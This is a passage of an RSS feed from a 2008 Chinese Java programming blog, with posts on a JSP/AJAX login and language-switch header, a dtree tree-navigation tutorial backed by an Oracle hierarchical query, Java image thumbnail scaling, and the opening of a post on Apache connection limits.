&nbsp;&nbsp;&nbsp;data : "email="+email.value+"&amp;passWord="+psw.value,<br />
&nbsp;&nbsp;&nbsp;url&nbsp; : contextPath + "/index!login.do",<br />
&nbsp;&nbsp;&nbsp;success : function (resMsg) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (resMsg.indexOf("success") != -1) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var msg = resMsg.split(":");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("登陆成功");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.location.reload();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.getElementById("login_head").innerHTML= msg[1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;var loginafter=&nbsp;document.getElementById("login_head");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loginafter.innerHTML="&lt;span style='color:#ffffff'&gt;欢迎您："+email.value+"&lt;/span&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loginafter.style.display="block";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//loginbbs();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//$("#in a")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert('用户名或密码错误');<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;});<br />
&nbsp;}&nbsp;<br />
function changeLanguage(language){</font></p>
<p><font style="background-color: #9deec1">&nbsp; $.ajax({<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type: "GET",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data: "currentLanguage="+language,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; url: "&lt;%=contextPath%&gt;" + "/base!changeLanguageForYeDian.do",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; success: function(res){<br />
&nbsp;&nbsp;&nbsp;&nbsp;window.location.reload();&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; });<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; function bookmarkSite(title, url)<br />
{<br />
&nbsp;&nbsp;&nbsp; if (document.all)<br />
&nbsp;&nbsp;&nbsp; window.external.AddFavorite(url, title);<br />
&nbsp;&nbsp;&nbsp; else if (window.sidebar)<br />
&nbsp;&nbsp;&nbsp; window.sidebar.addPanel(title, url, "")<br />
}<br />
&lt;/script&gt;</font></p>
<p><font style="background-color: #9deec1">&lt;!-- top --&gt;<br />
&lt;div id="header" class="heasssder mainwidth"&gt;<br />
&nbsp; &lt;div class="left"&gt;&lt;A href="http://www.clubfun.cn"&gt;&lt;IMG class=left src="images/clubfun_01.gif"&gt;&lt;/A&gt;&lt;A href="http://www.movo.tv" target="_blank"&gt;&lt;IMG class=left src="images/clubfun_02.gif"&gt;&lt;/A&gt;&lt;/div&gt;<br />
&nbsp; &lt;div class="logoright right"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;ul class="logorighttop"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li style="margin-right:5px;"&gt;&lt;a href="javascript:bookmarkSite('movo','http://www.movo.tv')"&gt;&lt;ww:text name="yhead.shoucangbenzhan"&gt;收藏本站&lt;/ww:text&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li class="language"&gt;&lt;a name="lan" href="&lt;%=contextPath%&gt;/base!changeLanguage.do?currentLanguage=zh&amp;reqUrl="&gt;&lt;img src="http://images.movo.tv/clubfun/images/zh.gif" alt="" /&gt;&lt;/a&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a name="lan" href="&lt;%=contextPath%&gt;/base!changeLanguage.do?currentLanguage=en&amp;reqUrl="&gt;&lt;img src="http://images.movo.tv/clubfun/images/en.gif" alt="" /&gt;&lt;/a&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a name="lan" href="&lt;%=contextPath%&gt;/base!changeLanguage.do?currentLanguage=ko&amp;reqUrl="&gt;&lt;img src="http://images.movo.tv/clubfun/images/ko.gif" alt="" /&gt;&lt;/a&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a name="lan" href="&lt;%=contextPath%&gt;/base!changeLanguage.do?currentLanguage=ja&amp;reqUrl="&gt;&lt;img src="http://images.movo.tv/clubfun/images/ja.gif" alt="" /&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/ul&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;ul class="clear"&gt;&lt;/ul&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;ul class="logorightbottom"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;ww:if test="${sessionsuser==null}"&gt;&lt;span id="pleaselogin_head"&gt;&lt;/span&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;a href="&lt;%=contextPath %&gt;/redianreg!reg.do"&gt;&lt;ww:text name="yhead.mashang"&gt;马上注册&lt;/ww:text&gt;&lt;/a&gt;&lt;/ww:if&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;ww:else&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;ww:if test="${sessionsuser.type==3 &amp;&amp;sessioncompass.status==1}"&gt;&lt;a href="&lt;%=contextPath %&gt;/huodong!dianZhuIndex.do"&gt;店主管理&lt;/a&gt;&lt;/ww:if&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;ww:else&gt;&lt;a href="&lt;%=contextPath %&gt;/huodong!geRenIndex.do"&gt;个人夜店管理&lt;/a&gt;&lt;/ww:else&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;/ww:else&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;a href="&lt;%=contextPath %&gt;/redianreg!resetPassword.do"&gt;&lt;ww:text name="yhead.wangji"&gt;忘记密码？&lt;/ww:text&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/ul&gt;<br />
&nbsp; &lt;/div&gt;<br />
&nbsp; &lt;div class="clear"&gt;&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;!-- End top --&gt;<br />
&lt;!-- Nav --&gt;<br />
&lt;div id="nav" class="nav mainwidth"&gt;<br />
&nbsp; &lt;div class="navlist left"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;ul&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&nbsp; class="lihove"&gt;&lt;a href="&lt;%=contextPath %&gt;/ystore!index.do" style="cursor: pointer;"&gt;&lt;span&gt;&lt;ww:text name="yhead.shouye"&gt;首页&lt;/ww:text&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&gt;&lt;a href="&lt;%=contextPath %&gt;/ystore!allStores.do"&gt;&lt;span&gt;&lt;ww:text name="yhead.yedian"&gt;夜店&lt;/ww:text&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&gt;&lt;a href="&lt;%=contextPath %&gt;/huodong1!allManageActivate.do"&gt;&lt;span&gt;&lt;ww:text name="yhead.huodong"&gt;活动&lt;/ww:text&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&gt;&lt;a href="&lt;%=contextPath %&gt;/ystore!photosets.do?photosetType=3"&gt;&lt;span&gt;&lt;ww:text name="yhead.xiangce"&gt;相册&lt;/ww:text&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li&gt;&lt;a href="&lt;%=contextPath %&gt;/huodong1!videosInit.do"&gt;&lt;span&gt;&lt;ww:text name="yhead.shipin"&gt;视频&lt;/ww:text&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/ul&gt;<br />
&nbsp; &lt;/div&gt;<br />
&nbsp; &lt;ww:if test="${ empty sessionsuser }"&gt;<br />
&nbsp; &lt;div class="login right" id="login_head"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;ul&gt;<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li class="loginid"&gt;&lt;input type="text"id="email_head" name="textfield" /&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li class="loginpw"&gt;&lt;input type="password"id="passWord1_head" name="textfield2" /&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;li class="loginsub"&gt;&lt;input type="submit" name="Submit" value='&lt;ww:text name="yhead.denglu"&gt;登录&lt;/ww:text&gt;' onclick="login_head('&lt;%=contextPath %&gt;');"/&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/ul&gt;<br />
&nbsp; &lt;/div&gt;<br />
&nbsp;&lt;/ww:if&gt; &lt;ww:else&gt;<br />
&nbsp;&lt;div class="login right" id="login_head"&gt;<br />
&nbsp;&nbsp; &lt;ul&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;li class="login"style="color:#ffffff"&gt;&lt;ww:text name="yhead.nihao"&gt;你好：&lt;/ww:text&gt;${sessionsuser.nickName }||&lt;a href="javascript:loginout('&lt;%=contextPath %&gt;');"&gt;&lt;font color="#FFFFFF"&gt;安全退出&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/ul&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&lt;/ww:else&gt;<br />
&nbsp; &lt;div class="clear"&gt;&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;!-- End Nav --&gt;<br />
&lt;!-- Search --&gt;<br />
&lt;div id="search" class="search mainwidth mainbottom"&gt;<br />
&nbsp; &lt;div class="searchkeyword right"&gt;&lt;ww:text name="yhead.guanjianci"&gt;关键词：&lt;/ww:text&gt;&lt;c:forEach items="${guanJianciList}" var="guanjianci"&gt;&lt;a href="${guanjianci.YRecommend.detailUrl }"&gt;${guanjianci.keycontext }&lt;/a&gt;&lt;/c:forEach&gt;&lt;/div&gt;<br />
&nbsp; &lt;div class="searchlogin"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;form id="form11" name="form11" method="post" action="&lt;%=contextPath %&gt;/huodong1!searchInit.do"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="text" name="searchName" class="searchinputkey" /&gt; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;select name="searchType" class="searchinputqy"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;option value="1"&gt;&lt;ww:text name="yhead.yedian"&gt;夜店&lt;/ww:text&gt;&lt;/option&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;option value="2"&gt;&lt;ww:text name="yhead.huodong"&gt;活动&lt;/ww:text&gt;&lt;/option&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;option value="3"&gt;&lt;ww:text name="yhead.xiangce"&gt;相册&lt;/ww:text&gt;&lt;/option&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/select&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" name="Submit" value='&lt;ww:text name="yhead.tijiao"&gt;提交&lt;/ww:text&gt;' class="button" /&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />
&nbsp; &lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;div class="clear"&gt;&lt;/div&gt;<br />
&lt;script type="text/javascript"&gt;<br />
&nbsp; var lans = document.getElementsByName("lan");<br />
&nbsp;&nbsp;&nbsp; for(var i=0 ; i &lt; lans.length; i++){<br />
&nbsp;&nbsp;&nbsp; &nbsp;lans[i].href = lans[i].href + location.href.replace(/\&amp;/g,'|');<br />
&nbsp;&nbsp;&nbsp; }<br />
&lt;/script&gt;<br />
&lt;!--</font></p>
<p><font style="background-color: #9deec1">//--&gt;<br />
&lt;/script&gt;<br />
&lt;!-- End Search --&gt;</font></p>
<p><font style="background-color: #9deec1"></font>&nbsp;</p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/223325.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-08-20 19:49 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/08/20/urlConvert.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA+dtree实现一个树形导航</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/08/18/treee.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 18 Aug 2008 09:20:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/08/18/treee.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/222850.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/08/18/treee.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/222850.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/222850.html</trackback:ping><description><![CDATA[1：用sql查询出所有的树形数据，以orcale为例：<br />
<font style="background-color: #9deec1">select c.CATEGORY_ID,c.PARENT_ID,ct.CATEGORY_NAME,c.IS_BOTTOM <br />
from n_category c,n_categorytrans ct where ct.CATEGORY_ID=c.CATEGORY_ID <br />
and ct.CUR_LANGUAGE='zh' and c.TYPE=3&nbsp; <br />
&nbsp; start with c.PARENT_ID=0 connect by prior c.PARENT_ID=c.CATEGORY_ID&nbsp; <br />
order by c.PARENT_ID,c.ORDER_NUMBER </font><br />
出来的数据放到一个list里面。传到页面上。<br />
<font style="background-color: #9deec1">List li = this.baseService.getListForSql(sql,new Object[]{curLanguage,type,0});<br />
&nbsp;&nbsp;HttpServletRequest request = ServletActionContext.getRequest();<br />
&nbsp;&nbsp;request.setAttribute("ncategoryTree", li);</font><br />
2.jsp的页面如下：<br />
<font style="background-color: #9deec1">&lt;%@ page language="java" import="java.util.*" pageEncoding="utf-8"%&gt;<br />
&lt;%<br />
String path = request.getContextPath();<br />
%&gt;<br />
&lt;%@ include file="imports.jsp" %&gt;<br />
&nbsp;&lt;script type="text/javascript" src="&lt;%=path%&gt;/js/jquery-1.1.4.js"&gt;&lt;/script&gt;<br />
&nbsp;&lt;script type="text/javascript" src="&lt;%=path%&gt;/dtree/js/dtree.js"&gt;&lt;/script&gt;<br />
&nbsp; <br />
&nbsp;&nbsp; &lt;table&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td colspan="2" bgcolor="#FFFFFF"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;input type="hidden" id="compassClassID" name="compass.compassclass.compassclassid"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;span id="nodeName"&gt;&lt;/span&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;span id="treeMessage"&gt;&lt;/span&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;script type="text/javascript"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;var show = function (node) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$("#compassClassID").val($(node).attr('cateid'));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$("#nodeName").html($(node).html());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$("#treeMessage").html("");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$("#compassClass").hide();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;/script&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;input type="button" name="button" onclick="$('#compassClass').show();" value="选择"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;div id="compassClass" class="float"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;span onclick="$('#compassClass').hide();"&gt;&lt;ww:text name="baseinfo-lable_GB"/&gt;&lt;/span&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;div id="theTree"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;/div&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;/div&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;script type="text/javascript"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;var d = new dTree('d','&lt;%=path%&gt;');&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;d.add(0,-1,"&lt;ww:text name='baseinfo-lable_QYLB'/&gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;c:forEach var="node" items="${ncategoryTree}"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;var fnStr = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&lt;c:if test="${node[3] == 1}"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;fnStr = "show(this);";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&lt;/c:if&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;d.add(${node[0]},${node[1]},'${node[2]}',fnStr);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;/c:forEach&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$("#theTree").html(d.toString());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;/script&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />
&nbsp;&nbsp; &lt;/table&gt;</font>
 <img src ="http://www.blogjava.net/zhanglijun33/aggbug/222850.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-08-18 17:20 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/08/18/treee.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java 图片缩放 当前语种及国际化资源 </title><link>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/picTrade.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 16 Jul 2008 15:23:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/picTrade.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/215346.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/picTrade.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/215346.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/215346.html</trackback:ping><description><![CDATA[<p><font style="background-color: #7ee293"><font style="background-color: #7ee293">java 图片缩放</font><br />
import javax.imageio.ImageIO;<br />
import javax.imageio.IIOException;<br />
import java.awt.image.BufferedImage;<br />
import java.awt.Image;<br />
import java.io.File;<br />
import java.awt.image.AffineTransformOp;<br />
import java.awt.geom.AffineTransform;</font></p>
<p><font style="background-color: #7ee293">public class ImageTrade2 {</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp; public static void main (String argv[]) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; File fi = new File("C:/001.jpg"); //大图文件<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; File fo = new File("C:/002.jpg"); //将要转换出的小图文件<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //if(!fo.exists())fo.createNewFile();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AffineTransform transform = new AffineTransform();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BufferedImage bis = ImageIO.read(fi);</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int w = bis.getWidth();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int h = bis.getHeight();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; double scale = (double)w/h;</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int nw = 120;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int nh = (nw * h) / w;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(nh&gt;120) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nh = 120;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nw = (nh * w) / h;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; double sx = (double)nw / w;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; double sy = (double)nh / h;</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; transform.setToScale(sx,sy);</font></p>
<p><font style="background-color: #7ee293">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AffineTransformOp ato = new AffineTransformOp(transform, null);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BufferedImage bid = new BufferedImage(nw, nh, BufferedImage.TYPE_3BYTE_BGR);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ato.filter(bis,bid);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ImageIO.write(bid, "jpeg", fo);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } catch(Exception e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
} </font></p>
 <img src ="http://www.blogjava.net/zhanglijun33/aggbug/215346.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-07-16 23:23 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/07/16/picTrade.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Apache服务器限制并发连接和下载速度</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/apacheSearch.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 16 Jul 2008 07:40:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/apacheSearch.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/215227.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/07/16/apacheSearch.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/215227.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/215227.html</trackback:ping><description><![CDATA[<div class="tit">Apache服务器限制并发连接和下载速度</div>
<div class="date">2008年03月18日 星期二 16:53</div>
<table style="table-layout: fixed">
    <tbody>
        <tr>
            <td>
            <div class="cnt" id="blog_text">
